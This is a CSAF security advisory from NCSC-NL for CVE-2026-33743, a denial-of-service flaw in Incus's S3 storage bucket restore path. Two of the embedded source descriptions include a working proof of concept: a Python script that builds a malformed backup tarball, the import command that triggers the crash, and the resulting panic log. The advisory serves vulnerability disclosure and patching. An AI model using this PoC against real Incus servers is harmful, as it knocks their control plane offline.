{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-33743", "tracking": { "current_release_date": "2026-03-30T19:25:43.327181Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-33743", "initial_release_date": "2026-03-26T23:24:53.592503Z", "revision_history": [ { "date": "2026-03-26T23:24:53.592503Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)." }, { "date": "2026-03-26T23:24:55.624612Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-03-26T23:38:46.789374Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (1).| CWES updated (1)." }, { "date": "2026-03-26T23:38:53.089858Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-03-27T06:43:23.030365Z", "number": "5", "summary": "Source created.| CVE status created. (valid)| Description created for source.| Products connected (1)." }, { "date": "2026-03-27T07:35:35.583203Z", "number": "6", "summary": "NCSC Score updated." }, { "date": "2026-03-27T19:41:50.466672Z", "number": "7", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1).| Vendor_assessment created." }, { "date": "2026-03-27T19:41:57.168159Z", "number": "8", "summary": "NCSC Score updated." }, { "date": "2026-03-27T19:44:27.561759Z", "number": "9", "summary": "Unknown change." }, { "date": "2026-03-27T19:47:36.241097Z", "number": "10", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (2).| References created (4).| CWES updated (1)." }, { "date": "2026-03-27T19:47:46.829885Z", "number": "11", "summary": "NCSC Score updated." }, { "date": "2026-03-27T20:56:20.819695Z", "number": "12", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-27T20:56:23.374384Z", "number": "13", "summary": "NCSC Score updated." }, { "date": "2026-03-28T07:41:31.310571Z", "number": "14", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (5).| CWES updated (1)." }, { "date": "2026-03-28T07:41:33.677923Z", "number": "15", "summary": "NCSC Score updated." }, { "date": "2026-03-28T11:27:58.322576Z", "number": "16", "summary": "NCSC Score updated." }, { "date": "2026-03-30T19:25:11.031071Z", "number": "17", "summary": "Products connected (1).| Product Identifiers created (1).| Exploits created (1)." }, { "date": "2026-03-30T19:25:16.329319Z", "number": "18", "summary": "NCSC Score updated." } ], "status": "interim", "version": "18" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<6.23.0", "product": { "name": "vers:unknown/<6.23.0", "product_id": "CSAFPID-5965579", "product_identification_helper": { "cpe": "cpe:2.3:a:linuxcontainers:incus:*:*:*:*:*:*:*:*" } } } ], "category": "product_name", "name": "incus" } ], "category": "vendor", "name": "linuxcontainers" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<6.23.0", "product": { "name": "vers:unknown/<6.23.0", "product_id": "CSAFPID-5919453" } }, { "category": "product_version_range", "name": "vers:unknown/>=0|<6.23.0", "product": { "name": "vers:unknown/>=0|<6.23.0", "product_id": "CSAFPID-5944290" } }, { "category": "product_version_range", "name": "vers:unknown/>=0|<=0.7.0", "product": { "name": "vers:unknown/>=0|<=0.7.0", "product_id": "CSAFPID-5944295" } } ], "category": "product_name", "name": "incus" } ], "category": "vendor", "name": "lxc" }, { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:deb/*", "product": { "name": "vers:deb/*", "product_id": "CSAFPID-1396424" } } ], "category": "product_name", "name": "lxd" } ], "category": "product_family", "name": "bookworm" } ], "category": "vendor", "name": "Debian" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-33743", "cwe": { "id": "CWE-770", "name": "Allocation of Resources Without Limits or Throttling" }, "notes": [ { "category": "description", "text": "Incus is a system container and virtual machine manager. Prior to version 6.23.0, a specially crafted storage bucket backup can be used by an user with access to Incus' storage bucket feature to crash the Incus daemon. Repeated use of this attack can be used to keep the server offline causing a denial of service of the control plane API. This does not impact any running workload, existing containers and virtual machines will keep operating. Version 6.23.0 fixes the issue.", "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33743" }, { "category": "description", "text": "Incus is a system container and virtual machine manager. Prior to version 6.23.0, a specially crafted storage bucket backup can be used by an user with access to Incus' storage bucket feature to crash the Incus daemon. Repeated use of this attack can be used to keep the server offline causing a denial of service of the control plane API. This does not impact any running workload, existing containers and virtual machines will keep operating. Version 6.23.0 fixes the issue.", "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33743.json" }, { "category": "description", "text": "Incus is a system container and virtual machine manager. Prior to version 6.23.0, a specially crafted storage bucket backup can be used by an user with access to Incus' storage bucket feature to crash the Incus daemon. Repeated use of this attack can be used to keep the server offline causing a denial of service of the control plane API. This does not impact any running workload, existing containers and virtual machines will keep operating. Version 6.23.0 fixes the issue.", "title": "debian - https://security-tracker.debian.org/tracker/CVE-2026-33743" }, { "category": "description", "text": "A flaw was found in Incus, a system container and virtual machine manager. A user with access to Incus' storage bucket feature can exploit this vulnerability by using a specially crafted storage bucket backup. This can cause the Incus daemon to crash, leading to a denial of service of the control plane API. Repeated exploitation can keep the server offline, though existing containers and virtual machines will continue to operate.\nThis Moderate impact flaw in Incus allows a user with access to the storage bucket feature to trigger a denial of service of the control plane API by providing a specially crafted storage bucket backup. While the Incus daemon may crash, existing containers and virtual machines will continue to operate without interruption. This affects Incus as distributed in Fedora.", "title": "redhat - https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33743.json" }, { "category": "description", "text": "### Summary\nA specially crafted storage bucket backup can be used by an user with access to Incus' storage bucket feature to crash the Incus daemon. Repeated use of this attack can be used to keep the server offline causing a denial of service of the control plane API.\n\nThis does not impact any running workload, existing containers and virtual machines will keep operating.\n\n### Details\n\nThe S3 transfer manager contains an unchecked string slicing vulnerability that allows an authenticated attacker to crash the daemon during S3 restore operations. While processing tar headers from a supplied backup archive, the code skips only the index entry and strips the expected bucket prefix from all other entries without first validating the header name.\n\nIn Go, slicing a string with a starting index beyond the string length triggers a runtime panic. Because no prefix or length validation is performed before this operation, a malicious archive containing a non-index entry with a shorter-than-expected header name can trigger a slice-bounds panic and terminate the daemon. This results in immediate denial of service on the node.\n\nAffected File:\nhttps://github.com/lxc/incus/blob/v6.20.0/internal/server/storage/s3/transfer_manager.go \n\nAffected Code:\n```\nfunc (t TransferManager) UploadAllFiles(bucketName string, srcData io.ReadSeeker) error {\n [...]\n for {\n hdr, err := tr.Next()\n if err == io.EOF {\n break // End of archive.\n }\n\n // Skip index.yaml file\n if hdr.Name == \"backup/index.yaml\" {\n continue\n }\n\n // Skip directories because they are part of the key of an actual file\n fileName := hdr.Name[len(\"backup/bucket/\"):]\n\n _, err = minioClient.PutObject(ctx, bucketName, fileName, tr, -1, minio.PutObjectOptions{})\n if err != nil {\n return err\n }\n }\n\n return nil\n}\n```\n\n### PoC\n\nThe following PoC demonstrates that a malformed backup archive containing a non-index tar entry with a shorter-than-expected name can trigger a slice-bounds panic in the S3 restore path and terminate the incusd daemon.\n\nStep 1: Enable the storage buckets listener\n\nOn the Incus host, enable the storage buckets listener so that the S3 transfer path can initialize correctly during import.\n\nCommand:\n```\nincus config set core.storage_buckets_address :4443\n```\n\nStep 2: Create the malicious archive\n\nFrom a client or workstation with Python available, create a crafted backup archive that contains a valid backup/index.yaml entry followed by a second entry whose name is shorter than the expected backup/bucket/ prefix length.\n\nCommands:\n```\ncat < poc_s3_slicing.py\nimport tarfile\nimport io\nimport yaml\n\nindex_data = {\n \"name\": \"s3-slice-panic\",\n \"config\": {\n \"bucket\": {\n \"description\": \"Bypassing metadata checks\",\n \"config\": {}\n },\n \"bucket_keys\": [\n {\n \"name\": \"poc-key\",\n \"role\": \"admin\",\n \"description\": \"Bypassing key lookup\",\n \"access-key\": \"AAAAAAAAAAAAAAAAAAAA\",\n \"secret-key\": \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n }\n ]\n }\n}\n\nmalicious_file = \"backup/x\"\n\nwith tarfile.open(\"s3_panic.tar.gz\", \"w:gz\") as tar:\n content = yaml.dump(index_data).encode(\"utf-8\")\n idx_info = tarfile.TarInfo(name=\"backup/index.yaml\")\n idx_info.size = len(content)\n tar.addfile(idx_info, io.BytesIO(content))\n\n panic_content = b\"trigger_s3_panic\"\n p_info = tarfile.TarInfo(name=malicious_file)\n p_info.size = len(panic_content)\n tar.addfile(p_info, io.BytesIO(panic_content))\n\nprint(\"[+] PoC Tarball Created: s3_panic.tar.gz\")\nEOF\n```\n\npython3 poc_s3_slicing.py\n\nResult:\n```\n[+] PoC Tarball Created: s3_panic.tar.gz\n```\n\nStep 3: Trigger the vulnerable import path\n\nFrom an Incus client with permission to import storage buckets, import the crafted archive into any valid storage pool.\n\nCommand:\n```\nincus storage bucket import local-pool s3_panic.tar.gz panic-test\n```\n\nResult:\n```\nError: Operation not found\n```\n\nStep 4: Verify the daemon panic\n\nOn the Incus host, inspect the service logs and confirm that the daemon terminated with a slice-bounds panic in TransferManager.UploadAllFiles.\n\nCommand:\n```\njournalctl -u incus -n 50 | grep -A 15 \"panic\"\n```\n\nResult:\n```\npanic: runtime error: slice bounds out of range [14:8]\ngoroutine [running]:\ngithub.com/lxc/incus/v6/internal/server/storage/s3.TransferManager.UploadAllFiles(...)\n/home/stgraber/Code/lxc/incus/internal/server/storage/s3/transfer_manager.go:139\n```\n\nIt is recommended to validate that the header name begins with the expected bucket prefix and is at least as long as that prefix before slicing the string. If the entry does not match the expected archive format, the function should return a normal validation error and abort processing safely rather than allowing a runtime panic.\n\n### Credit\nThis issue was discovered and reported by the team at [7asecurity](https://7asecurity.com/)", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-vg76-xmhg-j5x3.json?alt=media" }, { "category": "description", "text": "### Summary\nA specially crafted storage bucket backup can be used by an user with access to Incus' storage bucket feature to crash the Incus daemon. Repeated use of this attack can be used to keep the server offline causing a denial of service of the control plane API.\n\nThis does not impact any running workload, existing containers and virtual machines will keep operating.\n\n### Details\n\nThe S3 transfer manager contains an unchecked string slicing vulnerability that allows an authenticated attacker to crash the daemon during S3 restore operations. While processing tar headers from a supplied backup archive, the code skips only the index entry and strips the expected bucket prefix from all other entries without first validating the header name.\n\nIn Go, slicing a string with a starting index beyond the string length triggers a runtime panic. Because no prefix or length validation is performed before this operation, a malicious archive containing a non-index entry with a shorter-than-expected header name can trigger a slice-bounds panic and terminate the daemon. This results in immediate denial of service on the node.\n\nAffected File:\nhttps://github.com/lxc/incus/blob/v6.20.0/internal/server/storage/s3/transfer_manager.go \n\nAffected Code:\n```\nfunc (t TransferManager) UploadAllFiles(bucketName string, srcData io.ReadSeeker) error {\n [...]\n for {\n hdr, err := tr.Next()\n if err == io.EOF {\n break // End of archive.\n }\n\n // Skip index.yaml file\n if hdr.Name == \"backup/index.yaml\" {\n continue\n }\n\n // Skip directories because they are part of the key of an actual file\n fileName := hdr.Name[len(\"backup/bucket/\"):]\n\n _, err = minioClient.PutObject(ctx, bucketName, fileName, tr, -1, minio.PutObjectOptions{})\n if err != nil {\n return err\n }\n }\n\n return nil\n}\n```\n\n### PoC\n\nThe following PoC demonstrates that a malformed backup archive containing a non-index tar entry with a shorter-than-expected name can trigger a slice-bounds panic in the S3 restore path and terminate the incusd daemon.\n\nStep 1: Enable the storage buckets listener\n\nOn the Incus host, enable the storage buckets listener so that the S3 transfer path can initialize correctly during import.\n\nCommand:\n```\nincus config set core.storage_buckets_address :4443\n```\n\nStep 2: Create the malicious archive\n\nFrom a client or workstation with Python available, create a crafted backup archive that contains a valid backup/index.yaml entry followed by a second entry whose name is shorter than the expected backup/bucket/ prefix length.\n\nCommands:\n```\ncat < poc_s3_slicing.py\nimport tarfile\nimport io\nimport yaml\n\nindex_data = {\n \"name\": \"s3-slice-panic\",\n \"config\": {\n \"bucket\": {\n \"description\": \"Bypassing metadata checks\",\n \"config\": {}\n },\n \"bucket_keys\": [\n {\n \"name\": \"poc-key\",\n \"role\": \"admin\",\n \"description\": \"Bypassing key lookup\",\n \"access-key\": \"AAAAAAAAAAAAAAAAAAAA\",\n \"secret-key\": \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n }\n ]\n }\n}\n\nmalicious_file = \"backup/x\"\n\nwith tarfile.open(\"s3_panic.tar.gz\", \"w:gz\") as tar:\n content = yaml.dump(index_data).encode(\"utf-8\")\n idx_info = tarfile.TarInfo(name=\"backup/index.yaml\")\n idx_info.size = len(content)\n tar.addfile(idx_info, io.BytesIO(content))\n\n panic_content = b\"trigger_s3_panic\"\n p_info = tarfile.TarInfo(name=malicious_file)\n p_info.size = len(panic_content)\n tar.addfile(p_info, io.BytesIO(panic_content))\n\nprint(\"[+] PoC Tarball Created: s3_panic.tar.gz\")\nEOF\n```\n\npython3 poc_s3_slicing.py\n\nResult:\n```\n[+] PoC Tarball Created: s3_panic.tar.gz\n```\n\nStep 3: Trigger the vulnerable import path\n\nFrom an Incus client with permission to import storage buckets, import the crafted archive into any valid storage pool.\n\nCommand:\n```\nincus storage bucket import local-pool s3_panic.tar.gz panic-test\n```\n\nResult:\n```\nError: Operation not found\n```\n\nStep 4: Verify the daemon panic\n\nOn the Incus host, inspect the service logs and confirm that the daemon terminated with a slice-bounds panic in TransferManager.UploadAllFiles.\n\nCommand:\n```\njournalctl -u incus -n 50 | grep -A 15 \"panic\"\n```\n\nResult:\n```\npanic: runtime error: slice bounds out of range [14:8]\ngoroutine [running]:\ngithub.com/lxc/incus/v6/internal/server/storage/s3.TransferManager.UploadAllFiles(...)\n/home/stgraber/Code/lxc/incus/internal/server/storage/s3/transfer_manager.go:139\n```\n\nIt is recommended to validate that the header name begins with the expected bucket prefix and is at least as long as that prefix before slicing the string. If the entry does not match the expected archive format, the function should return a normal validation error and abort processing safely rather than allowing a runtime panic.\n\n### Credit\nThis issue was discovered and reported by the team at [7asecurity](https://7asecurity.com/)", "title": "github - https://api.github.com/advisories/GHSA-vg76-xmhg-j5x3" }, { "category": "other", "text": "0.00039", "title": "EPSS" }, { "category": "other", "text": "4.6", "title": "NCSC Score" }, { "category": "other", "text": "There is cvss data available from source Redhat", "title": "NCSC Score top increasing factors" }, { "category": "other", "text": "There is exploit data available from source Nvd, Exploit code publicly available", "title": "NCSC Score top decreasing factors" }, { "category": "details", "text": "Severity: 2\n", "title": "Vendor assessment" } ], "product_status": { "known_affected": [ "CSAFPID-5919453", "CSAFPID-5944290", "CSAFPID-5944295", "CSAFPID-5965579" ], "known_not_affected": [ "CSAFPID-1396424" ] }, "references": [ { "category": "external", "summary": "Source - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33743" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33743.json" }, { "category": "external", "summary": "Source - debian", "url": "https://security-tracker.debian.org/tracker/CVE-2026-33743" }, { "category": "external", "summary": "Source - redhat", "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33743.json" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-vg76-xmhg-j5x3.json?alt=media" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - github", "url": "https://api.github.com/advisories/GHSA-vg76-xmhg-j5x3" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv; redhat", "url": "https://github.com/lxc/incus/security/advisories/GHSA-vg76-xmhg-j5x3" }, { "category": "external", "summary": "Reference - redhat", "url": "https://www.cve.org/CVERecord?id=CVE-2026-33743" }, { "category": "external", "summary": "Reference - github; osv; redhat", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33743" }, { "category": "external", "summary": "Reference - github; osv", "url": "https://github.com/lxc/incus/commit/4bca6332e8227a5f25f74b51a66b7382e9133aaa" }, { "category": "external", "summary": "Reference - github; osv", "url": "https://github.com/lxc/incus/releases/tag/v6.23.0" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-vg76-xmhg-j5x3" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM" }, "products": [ "CSAFPID-5919453", "CSAFPID-5944290", "CSAFPID-5944295", "CSAFPID-5965579" ] } ], "title": "CVE-2026-33743" } ] }